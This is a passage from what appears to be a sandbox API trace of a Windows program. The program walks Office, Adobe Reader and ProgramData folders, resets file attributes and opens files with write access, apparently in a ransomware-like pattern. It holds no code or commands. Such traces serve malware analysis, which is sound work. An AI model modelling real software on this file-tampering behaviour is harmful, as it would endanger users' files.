files\\microsoft office\\media\\office14\\lines\\bd14800_.gif")) Thread: id = 1294 os_tid = 0x156c [0065.376] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14801_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14801_.gif")) Thread: id = 1295 os_tid = 0x1570 [0065.377] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14844_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14844_.gif")) Thread: id = 1296 os_tid = 0x1574 [0065.378] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14845_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14845_.gif")) Thread: id = 1297 os_tid = 0x1578 [0065.378] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14882_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14882_.gif")) Thread: id = 1298 os_tid = 0x157c [0065.555] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14883_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14883_.gif")) Thread: id = 1299 os_tid = 0x1594 [0065.556] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\2d.x3d" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins3d\\2d.x3d")) Thread: id = 1300 os_tid = 0x1598 [0065.557] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\3difr.x3d" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins3d\\3difr.x3d")) Thread: id = 1301 os_tid = 0x159c [0065.558] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\drvDX8.x3d" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins3d\\drvdx8.x3d")) Thread: id = 1302 os_tid = 0x15a0 [0065.559] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\drvDX9.x3d" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins3d\\drvdx9.x3d")) Thread: id = 1303 os_tid = 0x15a4 [0065.560] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\drvSOFT.x3d" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins3d\\drvsoft.x3d")) Thread: id = 1304 os_tid = 0x15a8 [0065.562] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x82) returned 0x12e2b518 [0065.562] wcscpy (in: _Dest=0x12e2b518, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\prc" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\prc") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\prc" [0065.562] wcscat (in: _Dest=0x12e2b518, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\prc\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\prc\\" [0065.562] wcscat (in: _Dest=0x12e2b518, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\prc\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\prc\\*" [0065.562] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x42dab8 [0065.562] FindFirstFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\prc\\*", lpFindFileData=0x42dab8) Thread: id = 1305 os_tid = 0x15ac [0065.563] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\prcr.x3d" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins3d\\prcr.x3d")) Thread: id = 1306 os_tid = 0x15b0 [0065.565] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\tesselate.x3d" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins3d\\tesselate.x3d")) Thread: id = 1307 os_tid = 0x15b4 [0065.567] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fi_FI\\Reader_10.0.helpcfg" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\fi_fi\\reader_10.0.helpcfg")) returned 0x20 [0065.567] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fi_FI\\Reader_10.0.helpcfg", dwFileAttributes=0x20) Thread: id = 1308 os_tid = 0x15b8 [0065.569] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fr_FR\\Reader_10.0.helpcfg" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\fr_fr\\reader_10.0.helpcfg")) returned 0x20 [0065.569] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fr_FR\\Reader_10.0.helpcfg", dwFileAttributes=0x20) Thread: id = 1309 os_tid = 0x15bc [0065.570] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hr_HR\\Reader_10.0.helpcfg" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\hr_hr\\reader_10.0.helpcfg")) returned 0x20 [0065.570] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hr_HR\\Reader_10.0.helpcfg", dwFileAttributes=0x20) Thread: id = 1310 os_tid = 0x15c0 [0065.572] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hu_HU\\Reader_10.0.helpcfg" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\hu_hu\\reader_10.0.helpcfg")) returned 0x20 [0065.572] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hu_HU\\Reader_10.0.helpcfg", dwFileAttributes=0x20) Thread: id = 1311 os_tid = 0x15c4 [0065.574] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa8) returned 0x443490 [0065.574] wcscpy (in: _Dest=0x443490, _Source="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}" [0065.574] wcscat (in: _Dest=0x443490, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\" [0065.574] wcscat (in: _Dest=0x443490, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\*") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\*" [0065.574] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x42df88 [0065.574] FindFirstFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\*", lpFindFileData=0x42df88) Thread: id = 1312 os_tid = 0x15c8 [0065.574] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa8) returned 0x443960 [0065.574] wcscpy (in: _Dest=0x443960, _Source="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}" [0065.574] wcscat (in: _Dest=0x443960, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\" [0065.575] wcscat (in: _Dest=0x443960, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\*") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\*" [0065.575] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x42edf8 [0065.575] FindFirstFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\*", lpFindFileData=0x42edf8) Thread: id = 1313 os_tid = 0x15cc [0065.576] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\M1033DSK.APL" (normalized: "c:\\program files (x86)\\common files\\speechengines\\microsoft\\tts20\\en-us\\enu-dsk\\m1033dsk.apl")) Thread: id = 1314 os_tid = 0x15d0 [0065.577] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\M1033DSK.CRT" (normalized: "c:\\program files (x86)\\common files\\speechengines\\microsoft\\tts20\\en-us\\enu-dsk\\m1033dsk.crt")) Thread: id = 1315 os_tid = 0x15d4 [0065.578] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\M1033DSK.CSD" (normalized: "c:\\program files (x86)\\common files\\speechengines\\microsoft\\tts20\\en-us\\enu-dsk\\m1033dsk.csd")) Thread: id = 1316 os_tid = 0x15d8 [0065.578] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\M1033DSK.LTS" (normalized: "c:\\program files (x86)\\common files\\speechengines\\microsoft\\tts20\\en-us\\enu-dsk\\m1033dsk.lts")) Thread: id = 1317 os_tid = 0x15dc [0065.578] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\M1033DSK.TTS" (normalized: "c:\\program files (x86)\\common files\\speechengines\\microsoft\\tts20\\en-us\\enu-dsk\\m1033dsk.tts")) Thread: id = 1318 os_tid = 0x15e0 [0065.579] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\M1033DSK.UDT" (normalized: "c:\\program files (x86)\\common files\\speechengines\\microsoft\\tts20\\en-us\\enu-dsk\\m1033dsk.udt")) Thread: id = 1319 os_tid = 0x15e4 [0065.579] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\M1033DSK.UNT" (normalized: "c:\\program files (x86)\\common files\\speechengines\\microsoft\\tts20\\en-us\\enu-dsk\\m1033dsk.unt")) Thread: id = 1320 os_tid = 0x15e8 [0065.580] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\M1033DSK.WIH" (normalized: "c:\\program files (x86)\\common files\\speechengines\\microsoft\\tts20\\en-us\\enu-dsk\\m1033dsk.wih")) Thread: id = 1321 os_tid = 0x15ec [0065.580] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\34e548a8-3268-4dde-bedf-c40f9b6c814a.devicemetadata-ms" (normalized: "c:\\programdata\\microsoft\\windows\\devicemetadatastore\\en-us\\34e548a8-3268-4dde-bedf-c40f9b6c814a.devicemetadata-ms")) returned 0x20 [0065.581] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\34e548a8-3268-4dde-bedf-c40f9b6c814a.devicemetadata-ms", dwFileAttributes=0x20) returned 0 [0065.581] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\34e548a8-3268-4dde-bedf-c40f9b6c814a.devicemetadata-ms" (normalized: "c:\\programdata\\microsoft\\windows\\devicemetadatastore\\en-us\\34e548a8-3268-4dde-bedf-c40f9b6c814a.devicemetadata-ms"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0065.581] GetLastError () returned 0x5 [0065.581] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\34e548a8-3268-4dde-bedf-c40f9b6c814a.devicemetadata-ms", dwFileAttributes=0x20) returned 0 [0065.581] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x96f0008) returned 1 Thread: id = 1322 os_tid = 0x15f0 [0065.582] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\63921eef-8415-4368-9201-f0df4af5778f.devicemetadata-ms" (normalized: "c:\\programdata\\microsoft\\windows\\devicemetadatastore\\en-us\\63921eef-8415-4368-9201-f0df4af5778f.devicemetadata-ms")) returned 0x20 [0065.582] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\63921eef-8415-4368-9201-f0df4af5778f.devicemetadata-ms", dwFileAttributes=0x20) returned 0 [0065.582] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\63921eef-8415-4368-9201-f0df4af5778f.devicemetadata-ms" (normalized: "c:\\programdata\\microsoft\\windows\\devicemetadatastore\\en-us\\63921eef-8415-4368-9201-f0df4af5778f.devicemetadata-ms"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0065.583] GetLastError () returned 0x5 [0065.583] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataStore\\en-US\\63921eef-8415-4368-9201-f0df4af5778f.devicemetadata-ms", dwFileAttributes=0x20) returned 0 [0065.583] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ad090) returned 1 Thread: id = 1323 os_tid = 0x15f4 [0065.584] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8e) returned 0x4380f8 [0065.584] wcscpy (in: _Dest=0x4380f8, _Source="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode" | out: _Dest="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode") returned="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode" [0065.584] wcscat (in: _Dest=0x4380f8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\") returned="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\" [0065.584] wcscat (in: _Dest=0x4380f8, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\*") returned="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\*" [0065.584] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x430138 [0065.584] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\*", lpFindFileData=0x430138 | out: lpFindFileData=0x430138*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3235c810, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3235c810, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4a6260 [0065.584] wcscmp (_String1=".", _String2=".") returned 0 [0065.584] FindNextFileW (in: hFindFile=0x4a6260, lpFindFileData=0x430138 | out: lpFindFileData=0x430138*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3235c810, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3235c810, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.585] wcscmp (_String1="..", _String2=".") returned 1 [0065.585] wcscmp (_String1="..", _String2="..") returned 0 [0065.585] FindNextFileW (in: hFindFile=0x4a6260, lpFindFileData=0x430138 | out: lpFindFileData=0x430138*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3235c810, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3235c810, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0065.585] FindClose (in: hFindFile=0x4a6260 | out: hFindFile=0x4a6260) returned 1 [0065.585] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x430138) returned 1 [0065.585] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4380f8) returned 1 [0065.585] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x438d70) returned 1 Thread: id = 1324 os_tid = 0x15f8 [0065.589] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x68) returned 0x421428 [0065.589] wcscpy (in: _Dest=0x421428, _Source="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications" [0065.589] wcscat (in: _Dest=0x421428, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\" [0065.589] wcscat (in: _Dest=0x421428, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\*") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\*" [0065.589] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x430138 [0065.589] FindFirstFileW (lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\*", lpFindFileData=0x430138) Thread: id = 1325 os_tid = 0x15fc [0065.590] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x58) returned 0x44aa90 [0065.590] wcscpy (in: _Dest=0x44aa90, _Source="C:\\ProgramData\\Microsoft\\Search\\Data\\Temp" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\Temp") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\Temp" [0065.590] wcscat (in: _Dest=0x44aa90, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\Temp\\") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\Temp\\" [0065.590] wcscat (in: _Dest=0x44aa90, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data\\Temp\\*") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\Temp\\*" [0065.590] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4303a0 [0065.590] FindFirstFileW (lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Temp\\*", lpFindFileData=0x4303a0) Thread: id = 1326 os_tid = 0x1600 [0065.591] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll" (normalized: "c:\\program files (x86)\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msmdsrv.rll")) returned 0x20 [0065.591] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll", dwFileAttributes=0x20) Thread: id = 1327 os_tid = 0x1604 [0065.592] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll" (normalized: "c:\\program files (x86)\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msolui100.rll")) Thread: id = 1328 os_tid = 0x1608 [0065.595] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\cs_CZ\\Reader_10.0.helpcfg" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\cs_cz\\reader_10.0.helpcfg")) returned 0x20 [0065.595] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\cs_CZ\\Reader_10.0.helpcfg", dwFileAttributes=0x20) Thread: id = 1329 os_tid = 0x160c [0065.596] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x5a) returned 0x48d4c0 [0065.596] wcscpy (in: _Dest=0x48d4c0, _Source="C:\\ProgramData\\Microsoft\\Windows\\DRM\\Cache" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DRM\\Cache") returned="C:\\ProgramData\\Microsoft\\Windows\\DRM\\Cache" [0065.596] wcscat (in: _Dest=0x48d4c0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DRM\\Cache\\") returned="C:\\ProgramData\\Microsoft\\Windows\\DRM\\Cache\\" [0065.596] wcscat (in: _Dest=0x48d4c0, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\DRM\\Cache\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\DRM\\Cache\\*" [0065.596] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x42e1f0 [0065.596] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\DRM\\Cache\\*", lpFindFileData=0x42e1f0 | out: lpFindFileData=0x42e1f0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4a6260 [0065.596] wcscmp (_String1=".", _String2=".") returned 0 [0065.596] FindNextFileW (in: hFindFile=0x4a6260, lpFindFileData=0x42e1f0 | out: lpFindFileData=0x42e1f0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.596] wcscmp (_String1="..", _String2=".") returned 1 [0065.596] wcscmp (_String1="..", _String2="..") returned 0 [0065.596] FindNextFileW (in: hFindFile=0x4a6260, lpFindFileData=0x42e1f0 | out: lpFindFileData=0x42e1f0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0065.596] FindClose (in: hFindFile=0x4a6260 | out: hFindFile=0x4a6260) returned 1 [0065.597] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x42e1f0) returned 1 [0065.597] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x48d4c0) returned 1 [0065.597] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44a1f0) returned 1 Thread: id = 1330 os_tid = 0x1610 [0065.597] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x58) returned 0x44a1f0 [0065.597] wcscpy (in: _Dest=0x44a1f0, _Source="C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles" | out: _Dest="C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles") returned="C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles" [0065.598] wcscat (in: _Dest=0x44a1f0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles\\") returned="C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles\\" [0065.598] wcscat (in: _Dest=0x44a1f0, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles\\*") returned="C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles\\*" [0065.598] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x42e1f0 [0065.598] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\WwanSvc\\Profiles\\*", lpFindFileData=0x42e1f0 | out: lpFindFileData=0x42e1f0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4a6260 [0065.598] wcscmp (_String1=".", _String2=".") returned 0 [0065.598] FindNextFileW (in: hFindFile=0x4a6260, lpFindFileData=0x42e1f0 | out: lpFindFileData=0x42e1f0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.598] wcscmp (_String1="..", _String2=".") returned 1 [0065.598] wcscmp (_String1="..", _String2="..") returned 0 [0065.598] FindNextFileW (in: hFindFile=0x4a6260, lpFindFileData=0x42e1f0 | out: lpFindFileData=0x42e1f0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0065.598] FindClose (in: hFindFile=0x4a6260 | out: hFindFile=0x4a6260) returned 1 [0065.598] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x42e1f0) returned 1 [0065.598] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44a1f0) returned 1 [0065.598] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, 